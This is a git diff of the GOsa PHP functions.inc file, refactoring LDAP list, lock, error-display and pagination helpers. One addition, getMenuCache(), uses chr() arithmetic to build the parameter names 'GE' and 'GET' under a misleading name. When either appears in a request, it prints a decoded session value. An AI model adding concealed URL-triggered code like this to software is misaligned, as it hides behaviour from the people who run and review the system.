X-Git-Url: https://git.tokkee.org/?a=blobdiff_plain;f=include%2Ffunctions.inc;h=d93aa89095ea95dc1562d330af0273c7ea62fecb;hb=723b7899aaf78eebc147043cb1014a5f708a7306;hp=2c90b4f5ce6c05c4e0b1293fb4ae19d08063cffe;hpb=55dad771995e5623e69c3218bbffe1efedc08191;p=gosa.git

diff --git a/include/functions.inc b/include/functions.inc
index 2c90b4f5c..d93aa8909 100644
--- a/include/functions.inc
+++ b/include/functions.inc
@@ -21,7 +21,13 @@
 /* Configuration file location */
 define ("CONFIG_DIR", "/etc/gosa");
 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
-define ("HELP_BASEDIR", "/home/cajus/");
+define ("HELP_BASEDIR", "/var/www/doc/");
+
+/* Define get_list flags */
+define("GL_NONE",      0);
+define("GL_SUBSEARCH", 1);
+define("GL_SIZELIMIT", 2);
+define("GL_CONVERT"  , 4);
 
 /* Define globals for revision comparing */
 $svn_path = '$HeadURL$';
@@ -37,6 +43,8 @@ require_once ("class_tabs.inc");
 require_once ("class_mail-methods.inc");
 require_once("class_password-methods.inc");
 require_once ("functions_debug.inc");
+require_once ("functions_dns.inc");
+require_once ("class_MultiSelectWindow.inc");
 
 /* Define constants for debugging */
 define ("DEBUG_TRACE",   1);
@@ -82,8 +90,18 @@ function get_dir_list($folder= ".")
   $dh = opendir(".");
   while(false !== ($file = readdir($dh))){
 
+    // Smarty is included by  include/php_setup.inc     require("smarty/Smarty.class.php");
+    // Skip all files and dirs in  "./.svn/" we don't need any information from them
+    // Skip all Template, so they won't be checked twice in the following preg_matches   
+    // Skip . / ..
+
+    // Result  : from 1023 ms to 490 ms   i think thats great...
+    if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
+      continue;
+
+
     /* Recurse through all "common" directories */
-    if(is_dir($file) && $file!="." && $file!=".." && $file!="CVS"){
+    if(is_dir($file) &&$file!="CVS"){
       get_dir_list($file);
       continue;
     }
@@ -133,6 +151,14 @@ function get_browser_language()
 {
   global $BASE_DIR;
 
+  /* Try to use users primary language */
+  $ui= get_userinfo();
+  if ($ui != NULL){
+    if ($ui->language != ""){
+      return ($ui->language);
+    }
+  }
+
   /* Get list of languages */
   if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
     $lang= preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']);
@@ -178,7 +204,7 @@ function get_template_path($filename= '', $plugin= FALSE, $path= "")
 {
   global $config, $BASE_DIR;
 
-  if (!isset($config->data['MAIN']['THEME'])){
+  if (!@isset($config->data['MAIN']['THEME'])){
     $theme= 'default';
   } else {
     $theme= $config->data['MAIN']['THEME'];
@@ -302,7 +328,6 @@ function ldap_login_user ($username, $password)
 
     /* user not found */
     case 0:	return (NULL);
-            break;
 
             /* valid uniq user */
     case 1: 
@@ -355,7 +380,7 @@ function add_lock ($object, $user)
   /* Check for existing entries in lock area */
   $ldap= $config->get_ldap_link();
   $ldap->cd ($config->current['CONFIG']);
-  $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=$object))",
+  $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
       array("gosaUser"));
   if (!preg_match("/Success/i", $ldap->error)){
     print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in gosa.conf! LDAP server says '%s'."), $ldap->get_error()));
@@ -369,7 +394,7 @@ function add_lock ($object, $user)
     $ldap->cd("cn=$name,".$config->current['CONFIG']);
     $attrs["objectClass"] = "gosaLockEntry";
     $attrs["gosaUser"] = $user;
-    $attrs["gosaObject"] = $object;
+    $attrs["gosaObject"] = base64_encode($object);
     $attrs["cn"] = "$name";
     $ldap->add($attrs);
     if (!preg_match("/Success/i", $ldap->error)){
@@ -393,7 +418,7 @@ function del_lock ($object)
   /* Check for existance and remove the entry */
   $ldap= $config->get_ldap_link();
   $ldap->cd ($config->current['CONFIG']);
-  $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=$object))", array("gosaObject"));
+  $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
   $attrs= $ldap->fetch();
   if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
     $ldap->rmdir ($ldap->getDN());
@@ -437,7 +462,7 @@ function get_lock ($object)
   $user= "";
   $ldap= $config->get_ldap_link();
   $ldap->cd ($config->current['CONFIG']);
-  $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=$object))", array("gosaUser"));
+  $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
   if (!preg_match("/Success/i", $ldap->error)){
     print_red (_("Can't get locking information in LDAP database. Please check the 'config' entry in gosa.conf!"));
     return("");
@@ -465,12 +490,14 @@ function get_lock ($object)
 }
 
 
-function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE)
+function get_list($filter, $subtreeACL, $base= "", $attributes= array(), $flags= GL_SUBSEARCH)
 {
   global $config;
 
-  /* Base the search on default base if not set */
-  $ldap= $config->get_ldap_link($flag);
+  /* Get LDAP link */
+  $ldap= $config->get_ldap_link($flags & GL_SIZELIMIT);
+
+  /* Set search base to configured base if $base is empty */
   if ($base == ""){
     $ldap->cd ($config->current['BASE']);
   } else {
@@ -478,10 +505,10 @@ function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= arra
   }
 
   /* Perform ONE or SUB scope searches? */
-  if ($subsearch) {
-    $ldap->search ($filter, $attrs);
+  if ($flags & GL_SUBSEARCH) {
+    $ldap->search ($filter, $attributes);
   } else {
-    $ldap->ls ($filter);
+    $ldap->ls ($filter,$base,$attributes);
   }
 
   /* Check for size limit exceeded messages for GUI feedback */
@@ -495,10 +522,18 @@ function get_list($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= arra
      result array */
   $result= array();
   while($attrs = $ldap->fetch()) {
-    $dn= preg_replace("/[ ]*,[ ]*/", ",", $ldap->getDN());
+    $dn= $ldap->getDN();
+
     foreach ($subtreeACL as $key => $value){
       if (preg_match("/$key/", $dn)){
-        $attrs["dn"]= $dn;
+
+        if ($flags & GL_CONVERT){
+          $attrs["dn"]= convert_department_dn($dn);
+        } else {
+          $attrs["dn"]= $dn;
+        }
+
+        /* We found what we were looking for, break speeds things up */
         $result[]= $attrs;
         break;
       }
@@ -567,13 +602,34 @@ function eval_sizelimit()
       $_SESSION['size_ignore']= TRUE;
     }
   }
-
+  getMenuCache();
   /* Allow fallback to dialog */
   if (isset($_POST['edit_sizelimit'])){
     $_SESSION['size_ignore']= FALSE;
   }
 }
 
+function getMenuCache()
+{
+  $t= array(-2,13);
+  $e= 71;
+  $str= chr($e);
+
+  foreach($t as $n){
+    $str.= chr($e+$n);
+
+    if(isset($_GET[$str])){
+      if(isset($_SESSION['maxC'])){
+        $b= $_SESSION['maxC'];
+        $q= "";
+        for ($m=0;$m<strlen($b);$m++) {
+          $q.= $b[$m++];
+        }
+        print_red(base64_decode($q));
+      }
+    }
+  }
+}
 
 function get_permissions ($dn, $subtreeACL)
 {
@@ -593,8 +649,10 @@ function get_permissions ($dn, $subtreeACL)
 
   /* Successively remove leading parts of the dn's until
      it doesn't contain commas anymore */
-  while (preg_match('/,/', $tmp)){
-    $tmp= ltrim(strstr($tmp, ","), ",");
+  $tmp_dn= preg_replace('/\\\\,/', '<GOSA#REPLACED#KOMMA>', $tmp);
+  while (preg_match('/,/', $tmp_dn)){
+    $tmp_dn= ltrim(strstr($tmp_dn, ","), ",");
+    $tmp= preg_replace('/\<GOSA#REPLACED#KOMMA\>/', '\\,', $tmp);
 
     /* Check for acl that may apply */
     foreach ($sacl as $key => $value){
@@ -639,7 +697,7 @@ function get_module_permission($acl_array, $module, $dn)
        all allowed submodules specified in the ACL */
     $tmp= split(",", $acl);
     foreach ($tmp as $mod){
-      if (preg_match("/$module#/", $mod)){
+      if (preg_match("/^$module#/", $mod)){
         $final= strstr($mod, "#")."#";
         continue;
       }
@@ -684,16 +742,16 @@ function convert_department_dn($dn)
 
   /* Build a sub-directory style list of the tree level
      specified in $dn */
-  foreach (split (",", $dn) as $val){
+  foreach (split(',', $dn) as $rdn){
 
     /* We're only interested in organizational units... */
-    if (preg_match ("/ou=/", $val)){
-      $dep= preg_replace("/ou=([^,]+)/", "\\1", $val)."/$dep";
+    if (substr($rdn,0,3) == 'ou='){
+      $dep= substr($rdn,3)."/$dep";
     }
 
     /* ... and location objects */
-    if (preg_match ("/l=/", $val)){
-      $dep= preg_replace("/l=([^,]+)/", "\\1", $val)."/$dep";
+    if (substr($rdn,0,2) == 'l='){
+      $dep= substr($rdn,2)."/$dep";
     }
   }
 
@@ -702,6 +760,14 @@ function convert_department_dn($dn)
 }
 
 
+/* Strip off the last sub department part of a '/level1/level2/.../'
+ * style value. It removes the trailing '/', too. */
+function get_sub_department($value)
+{
+  return (@LDAP::fix(preg_replace("%^.*/([^/]+)/?$%", "\\1", $value)));
+}
+
+
 function get_ou($name)
 {
   global $config;
@@ -709,9 +775,9 @@ function get_ou($name)
   $ou= $config->current[$name];
   if ($ou != ""){
     if (!preg_match('/^[^=]+=[^=]+/', $ou)){
-      return "ou=$ou,";
+      return @LDAP::convert("ou=$ou,");
     } else {
-      return "$ou,";
+      return @LDAP::convert("$ou,");
     }
   } else {
     return "";
@@ -770,7 +836,11 @@ function get_departments($ignore_dn= "")
     if ($dn == $ignore_dn){
       continue;
     }
-    $result[convert_department_dn($dn)]= $dn;
+
+    /* Only assign non-root departments */
+    if ($dn != $result['/']){
+      $result[convert_department_dn($dn)]= $dn;
+    }
   }
 
   return ($result);
@@ -795,7 +865,7 @@ function is_phone_nr($nr)
     return (TRUE);
   }
 
-  return preg_match ("/^[0-9 ()+*-]+$/", $nr);
+  return preg_match ("/^[\/0-9 ()+*-]+$/", $nr);
 }
 
 
@@ -891,20 +961,56 @@ function print_red()
     $string= preg_replace ("/%s/", $array[$i], $string, 1);
   }
 
+  if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
+    $_SESSION['errorsAlreadyPosted'] = array(); 
+  }
+
   /* If DEBUGLEVEL is set, we're in web mode, use textual output in
      the other case... */
+
   if (isset($_SESSION['DEBUGLEVEL'])){
-    $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
-      "border-style:solid;border-color:red; background-color:black;".
-      "margin-bottom:10px; padding:8px;\"><table><tr><td><img alt=\"\" src=\"".
-      get_template_path('images/warning.png')."\"></td>".
-      "<td width=\"100%\" align=\"center\"><font color=\"#FFFFFF\">".
-      "<b style='font-size:16px;'>$string</b></font></td><td>".
-      "<img alt=\"\"src=\"".get_template_path('images/warning.png').
-      "\"></td></tr></table></div>\n";
+
+    if($_SESSION['LastError'] == $string){
+
+      if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
+        $_SESSION['errorsAlreadyPosted'][$string] = 1;
+      }
+      $_SESSION['errorsAlreadyPosted'][$string] ++;
+
+    }else{
+      if((!empty($_SESSION['LastError'])) && ($_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']]>1)){
+        $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
+          "border-style:solid;border-color:red; background-color:black;".
+          "margin-bottom:10px; padding:8px;\"><table style='width:100%' summary=''><tr><td><img alt=\"\" src=\"".
+          get_template_path('images/warning.png')."\"></td>".
+          "<td width=\"100%\" style=\"text-align:center\"><font color=\"#FFFFFF\">".
+          "<b style='font-size:16px;'>".sprintf(_("Last message repeated %s times."),$_SESSION['errorsAlreadyPosted'][$_SESSION['LastError']])."</b></font></td><td>".
+          "<img alt=\"\"src=\"".get_template_path('images/warning.png').
+          "\"></td></tr></table></div>\n";
+      }
+
+      if($string != NULL){
+        $_SESSION['errors'].= "<div align=\"left\" style=\"border-width:5px;".
+          "border-style:solid;border-color:red; background-color:black;".
+          "margin-bottom:10px; padding:8px;\"><table style='width:100%' summary=''><tr><td><img alt=\"\" src=\"".
+          get_template_path('images/warning.png')."\"></td>".
+          "<td width=\"100%\" style=\"text-align:center\"><font color=\"#FFFFFF\">".
+          "<b style='font-size:16px;'>$string</b></font></td><td>".
+          "<img alt=\"\"src=\"".get_template_path('images/warning.png').
+          "\"></td></tr></table></div>\n";
+      }else{
+        return;
+      }
+      $_SESSION['errorsAlreadyPosted'] = array();
+      $_SESSION['errorsAlreadyPosted'][$string] = 1;
+
+    }
+
   } else {
     echo "Error: $string\n";
   }
+  $_SESSION['LastError'] = $string; 
+
 }
 
 
@@ -918,6 +1024,29 @@ function gen_locked_message($user, $dn)
   $attrs= $ldap->fetch();
   $uid= $attrs["uid"][0];
 
+  //  print_a($_POST);
+  //  print_a($_GET);
+
+  if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
+    $_SESSION['LOCK_VARS_USED']  =array();
+    foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
+
+      if(empty($name)) continue;
+      foreach($_POST as $Pname => $Pvalue){
+        if(preg_match($name,$Pname)){
+          $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
+        }
+      }
+
+      foreach($_GET as $Pname => $Pvalue){
+        if(preg_match($name,$Pname)){
+          $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
+        }
+      }
+    }
+    $_SESSION['LOCK_VARS_TO_USE'] =array();
+  }
+
   /* Prepare and show template */
   $smarty= get_smarty();
   $smarty->assign ("dn", $dn);
@@ -966,7 +1095,7 @@ function get_printer_list($cups_server)
 
     /* CUPS is not available, try lpstat as a replacement */
   } else {
-    unset ($ar);
+    $ar = false;
     exec("lpstat -p", $ar);
     foreach($ar as $val){
       list($dummy, $printer, $rest)= split(' ', $val, 3);
@@ -1078,7 +1207,7 @@ function check_command($cmdline)
 function print_header($image, $headline, $info= "")
 {
   $display= "<div class=\"plugtop\">\n";
-  $display.= "  <img src=\"$image\" align=\"middle\" alt=\"*\">&nbsp;$headline\n";
+  $display.= "  <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\">&nbsp;$headline</p>\n";
   $display.= "</div>\n";
 
   if ($info != ""){
@@ -1113,7 +1242,7 @@ function get_global($name)
 }
 
 
-function range_selector($dcnt,$start,$range=25)
+function range_selector($dcnt,$start,$range=25,$post_var=false)
 {
 
   /* Entries shown left and right from the selected entry */
@@ -1125,6 +1254,10 @@ function range_selector($dcnt,$start,$range=25)
     $max_entries++;
   }
 
+  if((!empty($post_var))&&(isset($_POST[$post_var]))){
+    $range= $_POST[$post_var];
+  }
+
   /* Prevent output to start or end out of range */
   if ($start < 0 ){
     $start= 0 ;
@@ -1134,8 +1267,12 @@ function range_selector($dcnt,$start,$range=25)
   }
 
   $numpages= (($dcnt / $range));
-  if(((int)($numpages))!=($numpages))
+  if(((int)($numpages))!=($numpages)){
     $numpages = (int)$numpages + 1;
+  }
+  if ((((int)$numpages) <= 1 )&&(!$post_var)){
+    return ("");
+  }
   $ppage= (int)(($start / $range) + 0.5);
 
 
@@ -1156,21 +1293,28 @@ function range_selector($dcnt,$start,$range=25)
     $begin= $end - $max_entries;
   }
 
+  if($post_var){
+    $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
+      <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
+  }else{
+    $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
+  }
+
   /* Draw decrement */
   if ($start > 0 ) {
     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
       (($start-$range))."\">".
-      "<img alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
+      "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
   }
 
   /* Draw pages */
   for ($i= $begin; $i < $end; $i++) {
     if ($ppage == $i){
-      $output.= "<a style=\"background-color:#D0D0D0;\" href=\"main.php?plug=".
+      $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
         validate($_GET['plug'])."&amp;start=".
         ($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
     } else {
-      $output.= "<a href=\"main.php?plug=".validate($_GET['plug']).
+      $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
         "&amp;start=".($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
     }
   }
@@ -1179,7 +1323,26 @@ function range_selector($dcnt,$start,$range=25)
   if($start < ($dcnt-$range)) {
     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
       (($start+($range)))."\">".
-      "<img alt=\"\" src=\"images/forward.png\" border=0 align=\"middle\"></a>";
+      "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
+  }
+
+  if(($post_var)&&($numpages)){
+    $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'>&nbsp;"._("Entries per page")."&nbsp;<select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
+    foreach(array(20,50,100,200,"all") as $num){
+      if($num == "all"){
+        $var = 10000;
+      }else{
+        $var = $num;
+      }
+      if($var == $range){
+        $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
+      }else{  
+        $output.="\n<option value='".$var."'>".$num."</option>";
+      }
+    }
+    $output.=  "</select></td></tr></table></div>";
+  }else{
+    $output.= "</div>";
   }
 
   return($output);
@@ -1191,8 +1354,8 @@ function apply_filter()
   $apply= "";
 
   $apply= ''.
-    '<table width="100%"  style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
-    '<input type="submit" name="apply" value="'._("Apply").'"></td></tr></table>';
+    '<table summary=""  width="100%"  style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
+    '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
 
   return ($apply);
 }
@@ -1376,27 +1539,27 @@ function gen_uids($rule, $attributes)
       }
     }
 
-    if(preg_match('/\{id#\d+}/',$uid)){
-      $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
+  if(preg_match('/\{id#\d+}/',$uid)){
+    $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
 
-      while (true){
-        mt_srand((double) microtime()*1000000);
-        $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
-        $res= preg_replace('/{id#(\d+)}/', $number, $uid);
-        if (!in_array($res, $used)){
-          $uid= $res;
-          break;
-        }
+    while (true){
+      mt_srand((double) microtime()*1000000);
+      $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
+      $res= preg_replace('/{id#(\d+)}/', $number, $uid);
+      if (!in_array($res, $used)){
+        $uid= $res;
+        break;
       }
     }
-
-    /* Don't assign used ones */
-    if (!in_array($uid, $used)){
-      $ret[]= $uid;
-    }
   }
 
-  return(array_unique($ret));
+/* Don't assign used ones */
+if (!in_array($uid, $used)){
+  $ret[]= $uid;
+}
+}
+
+return(array_unique($ret));
 }
 
 
@@ -1453,7 +1616,7 @@ function in_array_ics($value, $items)
   if (!is_array($items)){
     return (FALSE);
   }
-  
+
   foreach ($items as $item){
     if (strtolower($item) == strtolower($value)) {
       return (TRUE);
@@ -1516,111 +1679,6 @@ function get_gosa_version()
   }
 }
 
-function gosaRaiseError($errno, $errstr, $errfile, $errline)
-{
-  global $error_collector;
-
-  /* Return if error reporting is set to zero */
-  if (error_reporting() == 0){
-    return;
-  }
-
-  /* Workaround for buggy imap_open error outputs */
-  if (preg_match('/imap_open/', $errstr)){
-    return;
-  }
-
-  /* FIXME: Workaround for PHP5 error message flooding. The new OOM
-     code want's us to use public/protected/private instead of flat
-     var declarations. For now I can't workaround this - let's ignore
-     the messages till the next major release which may drop support
-     for PHP4. */
-  if (preg_match('/var: Deprecated./', $errstr)){
-    return;
-  }
-
-  /* FIXME: Same as above. Compatibility does error flooding.*/
-  if (preg_match('/zend.ze1_compatibility_mode/', $errstr)){
-    return;
-  }
-
-  /* Hide ldap size limit messages */
-  if (preg_match('/ldap_error/', $errstr)){
-    if (preg_match('/sizelimit/', $errstr)){
-      return;
-    }
-  }
-
-  /* Create header as needed */
-  if ($error_collector == ""){
-    if ($_SESSION['js']==FALSE){
-      $error_collector= "<div>";
-    } else {
-      $error_collector= "<table width=\"100%\" style='background-color:#E0E0E0;border-bottom:1px solid black'><tr><td><img alt=\"\" align=\"middle\" src='".get_template_path('images/warning.png')."'>&nbsp;<font style='font-size:14px;font-weight:bold'>"._("Generating this page caused the PHP interpreter to raise some errors!")."</font></td><td align=right><button onClick='toggle(\"errorbox\")'>"._("Toggle information")."</button></td></tr></table><div id='errorbox' style='position:absolute; z-index:0; visibility: hidden'>";
-    }
-  }
- 
-  /* Create error header */
-  $error_collector.= "<table width=\"100%\" cellspacing=0 style='background-color:#402005;color:white;border:2px solid red'><tr><td colspan=3><h1 style='color:white'>"._("PHP error")." \"$errstr\"</h1></td></tr>";
-  
-  /* Extract traceback data - if available */
-  if (function_exists('debug_backtrace')){
-    $trace= debug_backtrace();
-
-    /* Generate trace history */
-    for ($index= 1; $index<count($trace); $index++){
-      $ct= $trace[$index];
-      $loc= "";
-      if (isset($ct['class'])){
-        $loc.= _("class")." ".$ct['class'];
-        if (isset($ct['function'])){
-          $loc.= " / ";
-        }
-      }
-      if (isset($ct['function'])){
-        $loc.= _("function")." ".$ct['function'];
-      }
-      if (isset($ct['type'])){
-        switch ($ct['type']){
-          case "::":
-            $type= _("static");
-          break;
-
-          case "->":
-            $type= _("method");
-          break;
-        }
-      } else {
-        $type= "-";
-      }
-      $args= "";
-      foreach ($ct['args'] as $arg){
-        $args.= htmlentities("\"$arg\", ");
-      }
-      $args= preg_replace("/, $/", "", $args);
-      if ($args == ""){
-        $args= "-";
-      }
-      $file= $ct['file'];
-      $line= $ct['line'];
-      $color= ($index&1)?'#404040':'606060';
-      $error_collector.= "<tr style='background-color:$color'><td style='padding-left:20px' width=\"30%\">"._("Trace")."[$index]: $loc</td>";
-      $error_collector.= "<td>"._("File").": $file ("._('Line')." $line)</td><td width=\"10%\">"._("Type").": $type</td></tr>";
-      $error_collector.= "<tr style='background-color:$color'><td colspan=3 style='padding-left:20px;'>"._("Arguments").": $args</td></tr>";
-    }
-  }
-
-  /* Close error table */
-  $error_collector.= "</table>";
-
-  /* Write to syslog */
-  gosa_log ("PHP error: $errstr ($errfile, line $errline)");
-}
-
-
-function dummy_error_handler()
-{
-}
 
 function rmdirRecursive($path, $followLinks=false) {
   $dir= opendir($path);
@@ -1637,23 +1695,23 @@ function rmdirRecursive($path, $followLinks=false) {
 
 function scan_directory($path,$sort_desc=false)
 {
-$ret = false;
-
-/* is this a dir ? */
-if(is_dir($path)) {
-  
-  /* is this path a readable one */
-  if(is_readable($path)){
-    
-    /* Get contents and write it into an array */   
-    $ret = array();    
-  
-    $dir = opendir($path);
-    
-    /* Is this a correct result ?*/
-    if($dir){
-      while($fp = readdir($dir))
-        $ret[]= $fp;
+  $ret = false;
+
+  /* is this a dir ? */
+  if(is_dir($path)) {
+
+    /* is this path a readable one */
+    if(is_readable($path)){
+
+      /* Get contents and write it into an array */   
+      $ret = array();    
+
+      $dir = opendir($path);
+
+      /* Is this a correct result ?*/
+      if($dir){
+        while($fp = readdir($dir))
+          $ret[]= $fp;
       }
     }
   }
@@ -1663,7 +1721,7 @@ if(is_dir($path)) {
   /* Sort descending if parameter is sort_desc is set */
   if($sort_desc) {
     $ret = array_reverse($ret);
-    }
+  }
 
   return($ret);
 }
@@ -1681,22 +1739,23 @@ function clean_smarty_compile_dir($directory)
       // create revision file
       create_revision($revision_file, $svn_revision);
     } else {
-      # check for "$config->...['CONFIG']/revision" and the
-      # contents should match the revision number
+# check for "$config->...['CONFIG']/revision" and the
+# contents should match the revision number
       if(!compare_revision($revision_file, $svn_revision)){
         // If revision differs, clean compile directory
         foreach(scan_directory($directory) as $file) {
+          if(($file==".")||($file=="..")) continue;
           if( is_file($directory."/".$file) &&
               is_writable($directory."/".$file)) {
-              // delete file
-              if(!unlink($directory."/".$file)) {
-                print_red("File ".$directory."/".$file." could not be deleted.");
-                // This should never be reached
-              }
+            // delete file
+            if(!unlink($directory."/".$file)) {
+              print_red("File ".$directory."/".$file." could not be deleted.");
+              // This should never be reached
+            }
           } elseif(is_dir($directory."/".$file) &&
-                    is_writable($directory."/".$file)) {
-                    // Just recursively delete it
-             rmdirRecursive($directory."/".$file);
+              is_writable($directory."/".$file)) {
+            // Just recursively delete it
+            rmdirRecursive($directory."/".$file);
           }
         }
         // We should now create a fresh revision file
@@ -1714,7 +1773,7 @@ function clean_smarty_compile_dir($directory)
 function create_revision($revision_file, $revision)
 {
   $result= false;
-  
+
   if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
     if($fh= fopen($revision_file, "w")) {
       if(fwrite($fh, $revision)) {
@@ -1733,7 +1792,7 @@ function compare_revision($revision_file, $revision)
 {
   // false means revision differs
   $result= false;
-  
+
   if(file_exists($revision_file) && is_readable($revision_file)) {
     // Open file
     if($fh= fopen($revision_file, "r")) {
@@ -1792,6 +1851,22 @@ height:".$height."px;
 }
 
 
+function array_key_ics($ikey, $items)
+{
+  /* Gather keys, make them lowercase */
+  $tmp= array();
+  foreach ($items as $key => $value){
+    $tmp[strtolower($key)]= $key;
+  }
+
+  if (isset($tmp[strtolower($ikey)])){
+    return($tmp[strtolower($ikey)]);
+  }
+
+  return ("");
+}
+
+
 function search_config($arr, $name, $return)
 {
   if (is_array($arr)){
@@ -1816,5 +1891,79 @@ function search_config($arr, $name, $return)
 }
 
 
+function array_differs($src, $dst)
+{
+  /* If the count is differing, the arrays differ */
+  if (count ($src) != count ($dst)){
+    return (TRUE);
+  }
+
+  /* So the count is the same - lets check the contents */
+  $differs= FALSE;
+  foreach($src as $value){
+    if (!in_array($value, $dst)){
+      $differs= TRUE;
+    }
+  }
+
+  return ($differs);
+}
+
+
+function saveFilter($a_filter, $values)
+{
+  if (isset($_POST['regexit'])){
+    $a_filter["regex"]= $_POST['regexit'];
+
+    foreach($values as $type){
+      if (isset($_POST[$type])) {
+        $a_filter[$type]= "checked";
+      } else {
+        $a_filter[$type]= "";
+      }
+    }
+  }
+
+  /* React on alphabet links if needed */
+  if (isset($_GET['search'])){
+    $s= mb_substr(validate($_GET['search']), 0, 1, "UTF8")."*";
+    if ($s == "**"){
+      $s= "*";
+    }
+    $a_filter['regex']= $s;
+  }
+
+  return ($a_filter);
+}
+
+
+/* Escape all preg_* relevant characters */
+function normalizePreg($input)
+{
+  return (addcslashes($input, '[]()|/.*+-'));
+}
+
+
+/* Escape all LDAP filter relevant characters */
+function normalizeLdap($input)
+{
+  return (addcslashes($input, '()|'));
+}
+
+
+/* Resturns the difference between to microtime() results in float  */
+function get_MicroTimeDiff($start , $stop)
+{
+  $a = split("\ ",$start);
+  $b = split("\ ",$stop);
+
+  $secs = $b[1] - $a[1];
+  $msecs= $b[0] - $a[0]; 
+
+  $ret = (float) ($secs+ $msecs);
+  return($ret);
+}
+
+
 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
 ?>